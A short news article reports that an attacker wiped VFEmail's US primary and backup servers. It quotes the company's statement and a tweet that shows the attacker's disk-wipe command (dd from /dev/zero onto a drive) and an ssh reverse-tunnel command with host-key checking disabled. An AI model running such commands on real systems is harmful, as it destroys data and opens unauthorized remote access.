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VFEmail suffers ‘catastrophic’ attack, as hacker wipes email service’s primary and backup data


Disaster. There’s no other word for it.

Customers of VFEmail, a Milwaukee-based email provider for businesses and end-users since 2001, has revealed that it has suffered a ‘catastrophic’ attack after a hacker breached its systems and wiped out all of the data it was storing on its US-based servers.

A message posted on VFEmail’s website confirms the bleak news:

“We have suffered catastrophic destruction at the hands of a hacker… This person has destroyed all data in the US, both primary and backup systems. We are working to recover what data we can.”

According to VFEmail, it actually spotted the hacker as they were trying to cause even more damage - formatting other mail servers run by the company in the Netherlands.

Caught the perp in the middle of formatting the backup server:dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error -oUserKnownHostsFile=/dev/null aktv@ -R -N...(continued)
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